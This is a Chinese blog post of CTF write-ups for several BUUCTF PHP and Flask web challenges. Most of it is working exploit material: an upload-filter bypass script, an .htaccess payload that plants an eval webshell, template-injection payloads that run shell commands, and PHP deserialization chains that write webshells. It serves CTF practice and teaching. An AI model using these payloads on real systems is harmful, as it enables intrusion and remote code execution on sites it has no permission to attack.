buu刷题(4)

目录

[HFCTF2020]BabyUpload

[XNUCA2019Qualifier]EasyPHP

.htaccess包含文件

第一种方法

 第二种方法

[GWCTF 2019]你的名字

[EIS 2019]EzPOP

[2020 新春红包题]1

如何绕过后缀名呢

 方法一

还有一点就是json格式的数据会被执行吗,实践试试 

 构造一下试试,不能做理论家!

 方法二

[HFCTF2020]BabyUpload

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {//文件名不能有php
            return false;
        }
        
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

第一眼就想,这应该是一个框架,这点是部分的源码。

首先,我们如何把文件上传上去呢,用html还是有隐藏的路由。

扫完目录就一些403并没有什么用。

用html上传后界面没有任何的响应

第一次接触thinkphp上传没经验,百度得知, thinkphp默认上传位置为/index.php/home/index/upload,我们可以用burp或者脚本上传文件。

upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传保存。

题目中只限制了 F I L E S [ f i l e ] ∗ ∗ 的上传后缀,也只给出 ∗ ∗ _FILES[file]** 的上传后缀,也只给出 ** FILES[file]∗∗的上传后缀,也只给出∗∗_FILES[file] 上传后的路径,那我们上传多文件就可以绕过 

这句话的意思就是,

import requests
import time
url='http://48fb02f2-8f8a-4b5b-a927-1cf3e4f4c0f6.node4.buuoj.cn:81/index.php/home/index/upload'
file1={'file':open('1.txt','r')}
file2={'file[]':open('2.php','r')}
r = requests.post(url,files = file1)
print(r.text)
r = requests.post(url,files = file2)
print(r.text)
r = requests.post(url,files = file1)
print(r.text)

只会检测第一个1.txt,而不会检测php的,然后通过uniqid来生成文件名,这样上传三个,我们就可以把中间的php锁定在一个范围然后就行爆破200.

 $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');这句话无用是因为,thinkphp中的函数时Exts

[XNUCA2019Qualifier]EasyPHP

<?php
$files = scandir('./');
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);//删除index.php之外的所有文件
        }
    }
}
include_once("fl3g.php"); //包含fl3g文件
if(!isset($_GET['content']) || !isset($_GET['filename'])) {//如果有不存在的参数
    highlight_file(__FILE__);
    die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
    echo "Hacker";//参数中不能有 on html type flag upload file
    die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {//文件名不能以字母和.开头
    echo "Hacker";
    die();
}
$files = scandir('./');
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
file_put_contents($filename, $content . "\nJust one chance");
?>

思考:本来想直接传入文件然后传个一句话马,把后面注释掉。

但是我构造马的时候发现空格报错,于是用%0a替换空格

想办法把后面的东西注释掉,死亡绕过exit呀,

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 本来想直接带入发现显示hacker,分析得知

if(preg_match("/[^a-z\.]/", $filename) == 1) {

里面只有小写字母和.,://统统不行,

本来想用多行注释发现也不行, 

人傻了,上面的思路全部错掉,上面输入的filename文件,其实是没有权限执行php代码的,这点我们可以通过phpinfo();来得知仅仅是输出的作用。所以我们现在要做的就是如何让我们的文件执行!!!

.htaccess包含文件

第一种方法

如果将php代码写入.htaccess。代码前注释。访问index.php。就会自动包含.htaccess中的恶意代码
由于是先包含。再执行php代码。所以我们的恶意代码先执行。再删除.htaccess。我们就能获得一次执行命令的机会。

php_value auto_prepend_fi\
le ".htaccess"
#<?php @eval($_GET['cmd']); ?>\

 这里注释的原因是,在php中#是注释符,但在.htaccess中#就没用了。

然后进行url编码生成

php_value%20auto_prepend_fi%5C%0Ale%20%22.htaccess%22%0A%23%3C%3Fphp%20%40eval(%24_GET%5B'cmd'%5D)%3B%20%3F%3E%5C

?filename=.htaccess&content=php_value auto_prepend_fi\%0Ale ".htaccess"%0A%23<%3Fphp %40eval(%24_GET['cmd'])%3B %3F>\ 

有个缺点就是每生成一次只能执行一次,因为执行完.htaccess就会删除 

 

 第二种方法

 首先通过 error_log来自定义错误文件路径,如/tmp/fl3g.php,然后设置include_path来改变include()或require()函数包含文件的录路径,这里可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上,因此思路就是先include_path不存在的目录/+恶意代码,同时将报错日志路径设为/tmp/fl3g.php,然后访问报错后再将include_path设为/tmp,即可让index.php包含fl3g.php来getshell,但有个小问题error_log中的内容是htmlentities的,也就是说会将<>等特殊字符实体编码,需要转为utf-7来绕过

[GWCTF 2019]你的名字

打开界面以为是模板注入但是,{{3*3}}还是{%3%}都报错,看源码 newwork没啥有用的信息。

 感觉这个输入框就只有打印的功能, 我输入什么就会输出什么,ok是我不会的题。

呃呃呃打开wp人傻了,只能形容会但会的不多。

也是通过报错推断出过滤了{{而没用过滤{,这里我用的是{%3*3%}发现回显的是,

返回500,这里看有的解释到是因为有的运算符也被办了,所以我们可以用另一种方法

{%print 'sfsfsf'%}

因为是无回显的所以加个print输出出来,name={%set a='1'%}赋值也可以没报错就是实现了。

然后这里的lipsum{{lipsum}}测了一下发现是个方法

发现可以用,那就简单多了

{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}

直接执行报错500有过滤,拼接绕:

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /f*').read()%}

{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('whoami')['read']())%}

或者分开绕过,获得flag

[EIS 2019]EzPOP

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

发现json加密的结果是这样子 

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;

    public function __construct()
    {
        $this->cache = array();
        $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["shell"]);?>'));
        $this->key = "shell.php";
        $this->store = new B();
        $this->autosave = false;
        $this->expire = 0;
    }


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

因为里面的绝大部分可控,最后是个绕过exit就行,固然base编码,绕过但是

<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>

php(12个字符)//exit,base64是4个一体,所以需要补充三个字符  3+9=12随机三个就行

然后json编码会解析错误一些符号,所以需要base64编码绕过。

以下是我做题的笔记 

this->cache 的值是可以自定义的

this->complete

```
$expire = $this->options['expire'];
```

```
$cache_filename = $this->options['prefix'] . uniqid() . $name; 直接$name=空
```

```
$serialize = $this->options['serialize'];
```



```
data的由来
$value
$contents
最后就是 
[{"a":"12","b":"33"},12]

cache,complete
```

```
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
```

this->store=new B();

```
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);  php://filter/write-decode/resource=  
        后面跟我们的base64加密数据,base64四个字节一组,17/20需要加3个
```



$content的值其实就是:

[{"a":"12","b":"33"},12]

cache,complete

```
set($this->key, $contents, $this->expire);
       $name,   $value,    $expire = null
```





```
传入base64,然后过滤器解码写入,访问文件
```

 然后访问shell.php,

$cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }

 

这里写入文件中的是base64解码后的 

[2020 新春红包题]1

这道题是在[EIS 2019]EzPOP题的基础上修改的,所以我们只看一下添加的过滤代码

$cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }

发现加上了uniqid()这个函数根据时间产生唯一值,是一直变化,并且后缀名字做了检查不能是.php,检查方式是直接判断后四位是不是.php,需要我们想办法绕过它。

这里提个问题, $data = $this->serialize($value);我们为什么不直接让$this->serialize变成system直接命令执行不就好了吗,直接看value的值从哪来的

value->contents->cache 和 complete数据json编码获得的也可控,那么就要想如何绕过uuiqid(),看见了牛的姿势,理论很简单但是我真没想到,加上

/uploads/uuiqid().../shell.php,../返回目录那么其实就是调用了/uploads/shell.php

如何绕过后缀名呢

uploads/48342/../1.php/.会在uploads目录生成1.php。哇哦好神奇

 方法一

还有一点就是json格式的数据会被执行吗,实践试试 

发现json后的数据也会执行,这时候又想了一下如果有多个数组会不会都被执行 

最终发现无论在哪只要 ``都可以执行🐂 

 构造一下试试,不能做理论家!

<?php
class A{
protected $store;
protected $key;
public $cache = [];
public function __construct () {
$this->store = new B();
$this->key = '1';
$this->cache = array('a'=>'`cat /flag > ./uploads/1.txt`');
}
}

class B{
public $options = [
'serialize' => 'system'
];
}

echo urlencode(serialize(new A()));

./指的是当前目录 

 这种都可以获得flag,上面的铺垫是为了方法二。

 方法二

这个方法和上面的题思路差不多,把$serialize就作为serialize,然后用上面的方法进行绕过

但是在这里的时候我被卡住了,因为我们最后要绕过exit就需要base64编码绕过,但是上面从哪里就行编码呢

本来我想的是在serialize方法处直接,base64_encode(serialize())但是这种不能啊,因为传参进来就变成了base64_encode(serialize())();肯定不对

这里想了一下能不能直接上传base64编码后的数据,

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;

    public function __construct()
    {
       $this->cache = array();
        $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["shell"]);?>'));
        $this->key = "/../she2.php/.";
        $this->store = new B();
        $this->autosave = false;
        $this->expire = 0;
    }


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

ps:md 早搞出来了,太马虎了程序,php命令写错了导致搞了好久。

 直接传会报错好奇怪,应该是php内部直接解析的错误。

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值